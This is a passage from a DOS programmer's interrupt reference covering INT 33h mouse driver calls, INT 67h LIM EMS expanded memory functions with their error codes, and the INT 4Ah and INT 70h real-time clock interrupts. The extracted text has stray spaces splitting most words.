- used t o save mouse i nf or mat i on bef or e r el i nqui shi ng cont r ol
t o anot her pr ogr ams mouse handl er
- see ~I NT 33, 15~ ~I NT 33, 17~

: i nt 33, 17
^I NT 33, 17 - Rest or e Mouse Dr i ver St at e


AX = 17h
ES: DX = f ar poi nt er t o mouse st at e save buf f er


r et ur ns not hi ng


- used t o r est or e mouse i nf or mat i on af t er r egai ni ng cont r ol
f r omanot her pr ogr ams mouse handl er
- see ~I NT 33, 15~ ~I NT 33, 16~

: i nt 33, 18
^I NT 33, 18 - Set al t er nat e subr out i ne cal l mask and addr ess

AX = 18h
DX = of f set t o f unct i on
CX = user i nt er r upt mask:

F- 8 7 6 5 4 3 2 1 0 user i nt er r upt mask i n CX
al t key pr essed dur i ng event
ct r l key pr essed dur i ng event
shi f t key pr essed dur i ng event
r i ght but t on up event
r i ght but t on down event
l ef t but t on up event
l ef t but t on down event
cur sor moved
unused

- ent i r e mask i s set t o zer o when ~I NT 33, 0~ i s cal l ed
- up t o t hr ee handl er s may be def i ned wi t h t hi s cal l
- mask shoul d be cl ear ed bef or e pr ogr amexi t
- when handl er i s cal l ed i t r ecei ves par amet er s i n t he f ol l owi ng
r egi st er s:

AX = condi t i on mask causi ng cal l
CX = hor i zont al cur sor posi t i on
DX = ver t i cal cur sor posi t i on
DI = hor i zont al count s
SI = ver t i cal count s
DS = mouse dr i ver dat a segment
BX = but t on st at e:

Pagina 977 di 991
F- 2 1 0
l ef t but t on ( 1 = pr essed)
r i ght but t on ( 1 = pr essed)
unused

: i nt 33, 19
^I NT 33, 19 - Get User Al t er nat e I nt er r upt Addr ess

AX = 19h
CX = user i nt er r upt cal l mask ( see bel ow)


on r et ur n:
BX: DX = user i nt er r upt vect or
CX = user i nt er r upt cal l mask or zer o i f not f ound

F- 8 7 6 5 4 3 2 1 0 user i nt er r upt mask i n CX
al t key pr essed dur i ng event
ct r l key pr essed dur i ng event
shi f t key pr essed dur i ng event
r i ght but t on up event
r i ght but t on down event
l ef t but t on up event
l ef t but t on down event
cur sor moved
unused

- r et ur ns vect or t o f unct i on def i ned by ~I NT 33, 18~
- sear ches t he event handl er s def i ned by I NT 33, 18 f or a r out i ne
wi t h a cal l mask mat chi ng CX

: i nt 33, 1a
^I NT 33, 1A - Set Mouse Sensi t i vi t y


AX = 1A
BX = hor i zont al coor di nat es per pi xel ( 100)
CX = ver t i cal coor di nat es per pi xel ( 100)
DX = doubl e speed t hr eshol d


r et ur ns not hi ng


- set s mouse sensi t i vi t y by set t i ng t he r at i o of t he mouse
coor di nat es per scr een pi xel
- pr ovi des same r esul t s as cal l s t o bot h ~I NT 33, F~ and ~I NT 33, 13~
- t hese val ues ar e not r eset by ~I NT 33, 0~
: i nt 33, 1b
^I NT 33, 1B - Get Mouse Sensi t i vi t y


AX = 1B


on r et ur n:
BX = hor i zont al coor di nat es per pi xel ( 100)
CX = ver t i cal coor di nat es per pi xel ( 100)
DX = doubl e speed t hr eshol d


- r et ur ns mouse sensi t i vi t y i nf or mat i on as t he number of mouse
coor di nat es per scr een pi xel
Pagina 978 di 991

: i nt 33, 1c
^I NT 33, 1C - Set Mouse I nt er r upt Rat e ( I nPor t onl y)


AX = 1C
BX = r at e code
= 0 no i nt er r upt s
= 1 30 i nt er r upt s per second
= 2 50 i nt er r upt s per second
= 3 100 i nt er r upt s per second
= 4 200 i nt er r upt s per second



- wor k wi t h t he I nPor t mouse onl y
- set s t he r at e t he mouse st at us i s pol l ed by t he mouse dr i ver
- f ast er r at es pr ovi de bet t er r esol ut i on but t ake away CPU t i me
- val ues i n BX > 4 can cause unpr edi cat abl e r esul t s

: i nt 33, 1d
^I NT 33, 1D - Set Mouse CRT Page


AX = 1D
BX = CRT page number


r et ur ns not hi ng


- set s t he CRT page whi ch t he mouse cur sor i s di spl ayed
- see ~VI DEO PAGES~

: i nt 33, 1e
^I NT 33, 1E - Get Mouse CRT Page


AX = 1E


on r et ur n:
BX = CRT page number cur sor i s di spl ayed on


- see ~VI DEO PAGES~

: i nt 33, 1f
^I NT 33, 1F - Di sabl e Mouse Dr i ver


AX = 1F


on r et ur n:
AX = 001F i f successf ul
FFFF i f er r or
ES: BX = pr evi ous ~I NT 33~ vect or


- r est or es vect or s f or ~I NT 10~ and I NT 71 ( 8088/ 86) or I NT 74 ( 286+)
- ~I NT 33~ i nt er r upt vect or ( sof t war e) i s not af f ect ed
- use of t he vect or r et ur ned i n ES: BX t o r est or e t he pr evi ous I NT 33
Pagina 979 di 991
vect or can cause pr obl ems si nce i t cont ai ns t he val ue of I NT 33
bef or e t he dr i ver was i nst al l ed; any ot her hooks i nt o I NT 33 set
af t er dr i ver i nst al l at i on wi l l not r ecei ve ser vi ce

: i nt 33, 20
^I NT 33, 20 - Enabl e Mouse Dr i ver


AX = 20h


r et ur ns not hi ng


- r ei nst al l s t he mouse dr i ver s i nt er r upt vect or s f or I NT 10 and
I NT 71 ( 8088/ 86) and I NT 74 ( 286/ 386)
- see ~I NT 33, 1F~

: i nt 33, 21
^I NT 33, 21 - Reset Mouse Sof t war e

AX = 21h

on r et ur n:
AX = 0021 mouse dr i ver not i nst al l ed
FFFF mouse dr i ver i nst al l ed
BX = 2 mouse dr i ver i nst al l ed

- si mi l ar t o ~I NT 33, 0~ but does not r eset t he mouse har dwar e or
di spl ay var i abl es
- bot h AX and BX must be cor r ect f or successf ul r eset
- i nt er r upt r out i nes set t hr ough ~I NT 33, 18~ ar e pr eser ved
- r eset s t he mouse t o t he f ol l owi ng def aul t s:

. mouse i s posi t i oned t o scr een cent er
. mouse cur sor i s r eset and hi dden
. no i nt er r upt s ar e enabl ed ( mask = 0)
. doubl e speed t hr eshol d set t o 64 mi ckeys per second
. hor i zont al mi ckey t o pi xel r at i o ( 8 t o 8)
. ver t i cal mi ckey t o pi xel r at i o ( 16 t o 8)
. max wi dt h and hei ght ar e set t o maxi mumf or vi deo mode

: i nt 33, 22
^I NT 33, 22 - Set Language f or Messages

AX = 22h
BX = l anguage number ( wi t h / L swi t ch val ue) :
= 0 Engl i sh n/ a
= 1 Fr ench F
= 2 Dut ch NL
= 3 Ger man D
= 4 Swedi sh S
= 5 Fi nni sh SF
= 6 Spani sh E
= 7 Por t uguese P
= 8 I t al i an I


r et ur ns not hi ng


- onl y wor ks wi t h i nt er nat i onal ver si on of t he mouse dr i ver
- see ~I NT 33, 23~
Pagina 980 di 991
: i nt 33, 23
^I NT 33, 23 - Get Language Number

AX = 23h


on r et ur n:
BX = l anguage number ( wi t h / L swi t ch val ue) :
= 0 Engl i sh n/ a
= 1 Fr ench F
= 2 Dut ch NL
= 3 Ger man D
= 4 Swedi sh S
= 5 Fi nni sh SF
= 6 Spani sh E
= 7 Por t uguese P
= 8 I t al i an I

- onl y wor ks wi t h i nt er nat i onal ver si on of t he mouse dr i ver
- r et ur ns Engl i sh ( 0) i f not i nt er nat i onal ver si on

- see ~I NT 33, 22~
: i nt 33, 24
^I NT 33, 24 - Get Dr i ver Ver si on, Mouse Type & I RQ Number

AX = 24h


on r et ur n:
BH = maj or ver si on ( see bel ow)
BL = mi nor ver si on ( see bel ow)
CH = mouse t ype:
= 1 bus mouse
= 2 ser i al mouse
= 3 I nPor t mouse
= 4 PS/ 2 mouse
= 5 Hewl et t Packar d mouse
CL = I RQ number :
= 0 PS/ 2
= 2 ~I RQ~ 2
= 5 I RQ 5
= 7 I RQ 7

- ver si on 6. 1 woul d be r epr esent ed as BH = 06h, BL = 10h
: i nt 4a
^I NT 4A - RTC Al ar mHandl er Vect or


- not a t r ue i nt er r upt , but a poi nt er t o an al ar mhandl er r out i ne
- cal l ed by ~I NT 70~ and enabl ed by ~I NT 1A, 6~
- r out i ne must exi t vi a I RET

: i nt 67: EMS ser vi ces
^I NT 67 - Expanded Memor y Speci f i cat i on

% For mor e i nf or mat i on, see t he f ol l owi ng t opi cs:

~I NT 67, 40~ Get EMM St at us
~I NT 67, 41~ Get Page Fr ame Base Addr ess
~I NT 67, 42~ Get Page Count s
~I NT 67, 43~ Get Handl e and Al l ocat e Pages
~I NT 67, 44~ Map Logi cal Page I nt o Physi cal Page Wi ndow
~I NT 67, 45~ Rel ease Handl e and Memor y Pages
Pagina 981 di 991
~I NT 67, 46~ Get EMM Ver si on
~I NT 67, 47~ Save Page Map Cont ext
~I NT 67, 48~ Rest or e Page Map Cont ext
~I NT 67, 49~ Get I / O Por t Addr esses
~I NT 67, 4A~ Get Logi cal t o Physi cal Page Mappi ng
~I NT 67, 4B~ Get Handl e Count
~I NT 67, 4C~ Get Page Count f or Handl e
~I NT 67, 4D~ Get Page Count f or Al l Handl es
~I NT 67, 4E~ Get / Set Page Map Cont ext
~I NT 67, 4F~ Get / Set Par t i al Page Map
~I NT 67, 50~ Map/ Unmap Mul t i pl e Handl e Pages
~I NT 67, 51~ Real l ocat e Pages
~I NT 67, 52~ Get / Set Handl e At t r i but es
~I NT 67, 53~ Get / Set Handl e Name
~I NT 67, 54~ Get Handl e Di r ect or y
~I NT 67, 55~ Al t er Page Map and J ump
~I NT 67, 56~ Al t er Page Map and Cal l
~I NT 67, 57~ Move/ Exchange Memor y Regi on
~I NT 67, 58~ Get Mappabl e Physi cal Addr ess Ar r ay
~I NT 67, 59~ Get Expanded Memor y Har dwar e I nf or mat i on
~I NT 67, 5A~ Al l ocat e St andar d/ Raw Pages
~I NT 67, 5B~ Al t er nat e Map Regi st er Set DMA Regi st er s
~I NT 67, 5C~ Pr epar e Expanded Memor y f or War mBoot
~I NT 67, 5D~ Enabl e/ Di sabl e OS Funct i ons
~I NT 67, 60~ Get Physi cal Wi ndow Ar r ay

- f unct i on number i s speci f i ed i n AH
- see ~EMS STATUS~

: i nt 67, 40: EMS st at us
^I NT 67, 40 - Get EMM St at us ( LI M EMS 3. 0+)

AH = 40h

on r et ur n:
AH = st at us

00 success
80 i nt er nal sof t war e er r or
81 har dwar e mal f unct i on
83 unal l ocat ed or i nval i d handl e
84 undef i ned f unct i on r equest ed
85 no handl es avai l abl e
86 er r or i n save or r est or e of mappi ng cont ext
87 mor e pages r equest ed t han physi cal l y exi st
88 mor e pages r equest ed t han cur r ent l y avai l abl e
89 zer o pages r equest ed
8A i nval i d l ogi cal page number
8B i l l egal physi cal page number
8C cont ext st ack out of memor y
8D cont ext save f ai l ed, handl e al r eady has cont ext st ack
8E cont ext r est or e f ai l ed, no cont ext st ack f or handl e
8F i nval i d subf unct i on
90 undef i ned at t r i but e t ype
91 f eat ur e not suppor t ed
92 success, por t i on of t he sour ce r egi on was over wr i t t en
93 l engt h of sour ce or dest i nat i on r egi on exceeds l engt h of
r egi on al l ocat ed t o ei t her sour ce or dest i nat i on handl e
94 convent i onal and expanded memor y r egi ons over l ap
95 of f set wi t hi n l ogi cal page exceeds si ze of l ogi cal page
96 r egi on l engt h exceeds 1M
97 sour ce and dest i nat i on r egi ons have same handl e and over l ap
98 memor y sour ce or dest i nat i on t ype undef i ned
Pagina 982 di 991
9A speci f i ed DMA r egi st er set not suppor t ed ???
speci f i ed al t er nat e map r egi st er set not suppor t ed
9B al l DMA r egi st er set s cur r ent l y al l ocat ed ???
al l al t er nat e map r egi st er set s cur r ent l y al l ocat ed
9C al t er nat e DMA set s not suppor t ed ???
al t er nat e map r egi st er set s not suppor t ed
9D undef i ned or unal l ocat ed DMA r egi st er set ???
undef i ned or unal l ocat ed al t er nat e map r egi st er set
9E dedi cat ed DMA channel s not suppor t ed
9F speci f i ed dedi cat ed DMA channel not suppor t ed
A1 dupl i cat e handl e name
A2 at t empt ed t o wr ap ar ound 1Mb convent i onal addr ess space
A3 cont ent s of par t i al page map cor r upt ed or count of
mappabl e segment s exceeds t ot al mappabl e segment s
A4 oper at i ng syst emdeni ed access


- r egi st er s not l i st ed ar e pr eser ved
- shoul d onl y be used af t er est abl i shi ng t hat t he EMS dr i ver
i s pr esent
: i nt 67, 41
^I NT 67, 41 - Get Page Fr ame Base Addr ess ( LI M EMS 3. 0+)


AH = 41h


on r et ur n:
AH = 00 success
= er r or code ( see ~EMS STATUS~)
BX = segment of page f r ame ( PFBA)


- use t hi s t o det er mi ne wher e i n t he 1Mb memor y addr ess t he page
f r ame wi l l be mapped
- r egi st er s not l i st ed ar e pr eser ved

: i nt 67, 42
^I NT 67, 42 - Get Page Count s ( LI M EMS 3. 2+)


AH = 42h


on r et ur n:
AH = 00 success
= er r or code ( see ~EMS STATUS~)
BX = number of unal l ocat ed or avai l abl e pages
DX = t ot al number of pages i n EMM syst em


- r egi st er s not l i st ed ar e pr eser ved

: i nt 67, 43
^I NT 67, 43 - Get Handl e and Al l ocat e Pages ( LI M EMS 3. 2+)


AH = 43h
BX = number of l ogi cal pages t o al l ocat e


on r et ur n:
AH = 00 success
Pagina 983 di 991
= er r or code ( see ~EMS STATUS~)
DX = EMM handl e


- handl es not expl i ci t l y cl osed by t he appl i cat i on ar e not
r ecover abl e on exi t f r omt he pr ogr am
- r egi st er s not l i st ed ar e pr eser ved

: i nt 67, 44
^I NT 67, 44 - Map Logi cal Page I nt o Physi cal Page Wi ndow ( LI M EMS)


AH = 44h
AL = physi cal page number ( 0- 3)
BX = l ogi cal page number ( 0 t o t ot al al l ocat ed mi nus 1)
DX = EMM handl e


on r et ur n:
AH = 00 success
= er r or code ( see ~EMS STATUS~)


- r egi st er s not l i st ed ar e pr eser ved

: i nt 67, 45
^I NT 67, 45 - Rel ease Handl e and Memor y Pages ( LI M EMS)


AH = 45h
DX = EMM handl e


on r et ur n:
AH = 00 success
= er r or code ( see ~EMS STATUS~)


- handl es must be expl i ci t l y f r eed by an appl i cat i on or t he memor y
wi l l not be avai l abl e t o t he f ol l owi ng appl i cat i ons
- i f unsuccessf ul , t he oper at i on shoul d be r et r i ed
- r egi st er s not l i st ed ar e pr eser ved

: i nt 67, 46
^I NT 67, 46 - Get EMM Ver si on ( LI M EMS)


AH = 46h


on r et ur n:
AH = 00 success
= er r or code ( see ~EMS STATUS~)
AL = EMM ver si on number i n BCD


- upper f our bi t s of AL cont ai n t he BCD maj or ver si on
- l ower f our bi t s of AL cont ai n t he BCD mi nor ver si on
- r egi st er s not l i st ed ar e pr eser ved

: i nt 67, 47
^I NT 67, 47 - Save Page Map Cont ext ( LI M EMS 3. 0+)

Pagina 984 di 991

AH = 47h
DX = EMM handl e assi gned t o t he i nt er r upt ser vi ce r out i ne
ser vi ci ng t he i nt er r upt


on r et ur n:
AH = 00 success
= er r or code ( see ~EMS STATUS~)


- any TSR, I SR or devi ce dr i ver usi ng EMS shoul d save cont ext s
bef or e mani pul at i ng EMS memor y and r est or e cont ext s af t er war ds
- r egi st er s not l i st ed ar e pr eser ved
- see ~I NT 67, 48~

: i nt 67, 48
^I NT 67, 48 - Rest or e Page Map Cont ext ( LI M EMS 3. 0+)


AH = 48h
DX = EMM handl e assi gned t o t he i nt er r upt ser vi ce r out i ne
ser vi ci ng t he i nt er r upt


on r et ur n:
AH = 00 success
= er r or code ( see ~EMS STATUS~)


- any TSR, I SR or devi ce dr i ver usi ng EMS shoul d save cont ext s
bef or e mani pul at i ng EMS memor y and r est or e cont ext s af t er war ds
- r egi st er s not l i st ed ar e pr eser ved

: i nt 67, 49
^I NT 67, 49 - Get I / O Por t Addr esses ( LI M EMS 3. 0)


AH = 49h
ES: DI = f ar poi nt er t o st or age ar r ay


on r et ur n:
AL = boar d count ( 0 < AL <= 4)
AH = 00 success
= er r or code ( see ~EMS STATUS~)


- def i ned i n EMS 3. 0, but undocument ed i n EMS 3. 2; new sof t war e
shoul d not use t hi s f unct i on, but ol d sof t war e st i l l wor ks
- r egi st er s not l i st ed ar e pr eser ved

: i nt 67, 4a
^I NT 67, 4A - Get Logi cal t o Physi cal Page Mappi ng ( LI M EMS 3. 0)


AH = 4A
DX = EMS handl e
ES: DI f ar poi nt er t o st or age ar r ay


on r et ur n:
AH = 00 success
Pagina 985 di 991
= er r or code ( see ~EMS STATUS~)
BX = cont ai ns count of ent r i es pl aced i n ar r ay at ES: DI


- def i ned i n EMS 3. 0, but undocument ed i n EMS 3. 2; new sof t war e
shoul d not use t hi s f unct i on, but ol d sof t war e st i l l wor ks
- r egi st er s not l i st ed ar e pr eser ved

: i nt 67, 4b
^I NT 67, 4B - Get Handl e Count ( LI M EMS)


AH = 4Bh


on r et ur n:
AH = 00 success
= er r or code ( see ~EMS STATUS~)
BX = number of cur r ent l y act i ve EMM handl es ( 0- 256)
zer o i ndi cat es EMS not i n use


- t o det er mi ne t he number of handl es avai l abl e subt r act BX f r om255
- r egi st er s not l i st ed ar e pr eser ved

: i nt 67, 4c
^I NT 67, 4C - Get Page Count f or Handl e ( LI M EMS)


AH = 4Ch
DX = EMM handl e


on r et ur n:
AH = 00 success
= er r or code ( see ~EMS STATUS~)
BX = t ot al al l ocat ed page count f or handl e ( 1- 512)


- a handl e can r ef er t o up t o 512 l ogi cal pages
- r egi st er s not l i st ed ar e pr eser ved

: i nt 67, 4d
^I NT 67, 4D - Get Page Count f or Al l Handl es ( LI M EMS)

AH = 4Dh
ES: DI = poi nt er t o handl e ar r ay


on r et ur n:
AH = 00 success
= er r or code ( see ~EMS STATUS~)
BX = number of act i ve EMM handl es ( 0. . 255)
ES: DI = poi nt er t o an ar r ay of ent r i es of t he f or mat :

Of f set Si ze Descr i pt i on
00 wor d EMS handl e number
02 wor d number of pages

- buf f er at ES: DI shoul d be abl e t o hol d an ar r ay of at l east 4*BX
- an er r or wi l l occur i f ES: DI poi nt s t o a buf f er t hat wi l l
cause a segment swap
- r egi st er s not l i st ed ar e pr eser ved
Pagina 986 di 991
: i nt 67, 4e
^I NT 67, 4E - Get / Set Page Map Cont ext ( LI M EMS 3. 2+)

AH = 4Eh
AL = 00 get page mappi ng cont ext i nt o ar r ay
ES: DI = poi nt er t o dest i nat i on ar r ay
01 set page mappi ng cont ext f r omar r ay
DS: SI = poi nt er t o cont ext sour ce ar r ay
02 get and set page mappi ng r egi st er s at once
ES: DI = poi nt er t o dest i nat i on ar r ay
DS: SI = poi nt er t o cont ext sour ce ar r ay
03 get si ze of page mappi ng ar r ay
04- 31 r eser ved


on r et ur n:
AH = 00 success
= er r or code ( see ~EMS STATUS~)
AL = byt es i n pagemappi ng ar r ay ( when AL=3)
ES: DI = poi nt er t o ar r ay wi t h mappi ng i nf o ( AL=00/ 02)

- an er r or wi l l occur i f ES: DI poi nt s t o a buf f er t hat wi l l
cause a segment swap
- desi gned f or use by mul t i t aski ng oper at i ng syst ems onl y

: i nt 67, 4f
^I NT 67, 4F - Get / Set Par t i al Page Map ( LI M EMS 4. 0+)

AH = 4Fh

AL = 00 get par t i al page map
DS: SI = poi nt er t o st r uct ur e cont ai ni ng l i st of segment s whose
mappi ng cont ext s ar e t o be saved
ES: DI = poi nt er t o ar r ay t o r ecei ve page map

AL = 01 set par t i al page map
DS: SI = poi nt er t o st r uct ur e cont ai ni ng saved par t i al page map

AL = 02 get si ze of par t i al page map
BX = number of mappabl e segment s i n t he par t i al map t o be saved


on r et ur n:
AH = 00 success
= er r or code ( see ~EMS STATUS~)
AL = si ze of par t i al page map ( i f AL=2)

: i nt 67, 50
^I NT 67, 50 - Map/ Unmap Mul t i pl e Handl e Pages ( LI M EMS 4. 0+)


AH = 50h
AL = 00 Map/ unmap pages
= 01 map/ unmap segment s
DX = EMM handl e
CX = number of ent r i es i n ar r ay
DS: SI = poi nt er t o mappi ng ar r ay


on r et ur n:
AH = 00 success
= er r or code ( see ~EMS STATUS~)

Pagina 987 di 991
: i nt 67, 51
^I NT 67, 51 - Real l ocat e Pages ( LI M EMS 4. 0+)


AH = 51h
DX = EMM handl e
BX = number of pages t o be al l ocat ed t o handl e


on r et ur n:
AH = 00 success
= er r or code ( see ~EMS STATUS~)
BX = act ual number of pages al l ocat ed t o handl e

: i nt 67, 52
^I NT 67, 52 - Get / Set Handl e At t r i but es ( LI M EMS 4. 0+)


AH = 52h
AL = 00 get handl e at t r i but es
01 set handl e at t r i but es
02 get at t r i but e capabi l i t y
BL = new at t r i but e ( i f AL=1)
DX = EMM handl e


on r et ur n:
AH = 00 success
= er r or code ( see ~EMS STATUS~)
AL = at t r i but e ( i nput AL=0)
00 handl e i s vol at i l e
01 handl e i s nonvol at i l e
AL = at t r i but e capabi l i t y ( i nput AL=2)
00 onl y vol at i l e handl es suppor t ed
01 bot h vol at i l e and nonvol at i l e suppor t ed

: i nt 67, 53
^I NT 67, 53 Get / Set Handl e Name ( LI M EMS 4. 0+)


AH = 53h
AL = 00 get handl e name
ES: DI = poi nt er t o 8byt e handl e name ar r ay

01 set handl e name
DS: SI = poi nt er t o 8byt e handl e name
DX = EMM handl e


on r et ur n:
AH = st at us ( see ~EMS STATUS~)

: i nt 67, 54
^I NT 67, 54 - Get Handl e Di r ect or y ( LI M EMS 4. 0+)


AH = 54h
AL = 00 get handl e di r ect or y
ES: DI = poi nt er t o buf f er f or handl e di r ect or y

01 sear ch f or named handl e
DS: SI = poi nt er t o 8byt e name

Pagina 988 di 991
02 get t ot al number of handl es


on r et ur n:
AL = number of ent r i es i n handl e di r ect or y ( AL = 00h)
DX = val ue of named handl e ( i f AH was 01)
BX = t ot al number of handl es ( i f AH was 02)
AH = st at us ( see ~EMS STATUS~)

: i nt 67, 55
^I NT 67, 55 - Al t er Page Map and J ump ( LI M EMS 4. 0+)


AH = 55h
AL = 00 physi cal page number s pr ovi ded by cal l er
01 segment addr esses pr ovi ded by cal l er
DX = EMM handl e
DS: SI = poi nt er t o st r uct ur e wi t h map and j ump addr ess


on r et ur n:
AH = st at us ( see ~EMS STATUS~)

: i nt 67, 56
^I NT 67, 56 - Al t er Page Map and Cal l ( LI M EMS 4. 0+)


AH = 56h
AL = 00 physi cal page number s pr ovi ded by cal l er
DX = EMM handl e
DS: SI = poi nt er t o st r uct ur e wi t h page map and cal l addr ess
01 segment addr esses pr ovi ded by cal l er
DX = EMM handl e
DS: SI = poi nt er t o st r uct ur e wi t h page map and cal l addr ess
02 get page map st ack space r equi r ed


on r et ur n:
BX = st ack space r equi r ed ( AL = 02)
AH = st at us ( see ~EMS STATUS~)


- i f successf ul , t he t ar get addr ess i s cal l ed
- use a RETF t o r et ur n and r est or e mappi ng cont ext

: i nt 67, 57
^I NT 67, 57 - Move/ Exchange Memor y Regi on ( LI M EMS 4. 0+)


AH = 57h
AL = 00 move memor y r egi on
01 exchange memor y r egi on
DS: SI = poi nt er t o st r uct ur e descr i bi ng sour ce and dest i nat i on


on r et ur n:
AH = st at us ( see ~EMS STATUS~)

: i nt 67, 58
^I NT 67, 58 - Get Mappabl e Physi cal Addr ess Ar r ay ( LI M EMS 4. 0+)


AH = 58h
Pagina 989 di 991
AL = 00 get mappabl e physi cal addr ess ar r ay
ES: DI = poi nt er t o buf f er t o be f i l l ed wi t h ar r ay
01 get number of ent r i es i n m. p. a. ar r ay


on r et ur n:
CX = number of ent r i es i n ar r ay
AH = st at us ( see ~EMS STATUS~)

: i nt 67, 59
^I NT 67, 59 - Get Expanded Memor y Har dwar e I nf or mat i on ( LI M EMS 4. 0+)


AH = 59h
AL = 00 get har dwar e conf i gur at i on ar r ay
ES: DI = poi nt er t o buf f er t o be f i l l ed wi t h ar r ay
01 get unal l ocat ed r aw page count


on r et ur n:
BX = unal l ocat ed r aw pages ( AL = 01)
DX = t ot al r aw pages ( AL = 01)
AH = st at us ( see ~EMS STATUS~)


- subf unct i on 00 i s f or use by oper at i ng syst ems onl y; can be
enabl ed or di sabl ed at any t i me by t he oper at i ng syst em

: i nt 67, 5a
^I NT 67, 5A - Al l ocat e St andar d/ Raw Pages ( LI M EMS 4. 0+)


AH = 5A
AL = 00 al l ocat e st andar d pages
01 al l ocat e r aw pages
BX = number of pages t o al l ocat e


on r et ur n:
DX = EMM handl e
AH = st at us ( see ~EMS STATUS~)

: i nt 67, 5b
^I NT 67, 5B - Al t er nat e Map Regi st er Set ( LI M EMS 4. 0+)

AH = 5B
AL = 00 get al t er nat e map r egi st er set
01 set al t er nat e map r egi st er set
BL = new al t er nat e map r egi st er set number
ES: DI = poi nt er t o map r egi st er cont ext save ar ea i f BL=0
02 get al t er nat e map save ar r ay si ze
03 al l ocat e al t er nat e map r egi st er set
04 deal l ocat e al t er nat e map r egi st er set
BL = number of al t er nat e map r egi st er set
05 al l ocat e DMA r egi st er set
06 enabl e DMA on al t er nat e map r egi st er set
BL = DMA r egi st er set number
DL = DMA channel number
07 di sabl e DMA on al t er nat e map r egi st er set
BL = DMA r egi st er set number
08 deal l ocat e DMA r egi st er set
BL = DMA r egi st er set number

Pagina 990 di 991
on r et ur n:
AH = st at us ( see ~EMS STATUS~)
BL = act i ve al t er nat e map r egi st er set number i f nonzer o ( AL=0)
= number of al t er nat e map r egi st er set ; 0 i f not suppor t ed ( AL=3)
= DMA r egi st er set number ; zer o i f not suppor t ed ( AL = 05)
DX = ar r ay si ze i n byt es ( AL = 02)
ES: DI = poi nt er t o a map r egi st er cont ext save ar ea i f BL=0 ( AL=0)


- f or use by oper at i ng syst ems onl y; can be enabl ed or di sabl ed
at any t i me by t he oper at i ng syst em

: i nt 67, 5c
^I NT 67, 5C - Pr epar e Expanded Memor y f or War mBoot ( LI M EMS 4. 0+)

AH = 5C


on r et ur n:
AH = st at us ( see ~EMS STATUS~)

: i nt 67, 5d
^I NT 67, 5D - Enabl e/ Di sabl e OS Funct i ons ( LI M EMS 4. 0+)


AH = 5D
AL = 00 enabl e OS f unct i on Set
01 di sabl e OS f unct i on Set
02 r et ur n access key
BX, CX = access key r et ur ned by f i r st i nvocat i on


on r et ur n:
AH = st at us ( see ~EMS STATUS~)
BX, CX = access key, r et ur ned onl y on f i r st i nvocat i on of f unct i on


- f unct i on 2 r eset s memor y manager , r et ur ns access key at next
i nvocat i on

: i nt 67, 60
^I NT 67, 60 - LI M EMS Get Physi cal Wi ndow Ar r ay


AH = 60h
ES: DI = poi nt er t o physi cal wi ndow ar r ay


on r et ur n:
AH = 00 success
= er r or st at us ( see ~EMS STATUS~)

: i nt 70
^I NT 70 - Real Ti me Cl ock I nt er r upt ( XT 286, AT, PS/ 2)


- cal l ed 1024 t i mes per second f or per i odi c and al ar mf unct i ons
- decr ement s a DWORD count er by 976sec ( 1/ 1024)
- when DWORD r eaches zer o, bi t 7 of desi gnat ed wai t f l ag i s set
- i f al ar mwas enabl ed by ~I NT 1A, 6~, ~I NT 4A~ i s cal l ed when
count er r eaches zer o t o act i vat e al ar mhandl er
- not avai l abl e i n model 30 PS/ 2

Pagina 991 di 991

- see ~I NT 15, 83~ ~I NT 15, 86~

Potrebbero piacerti anche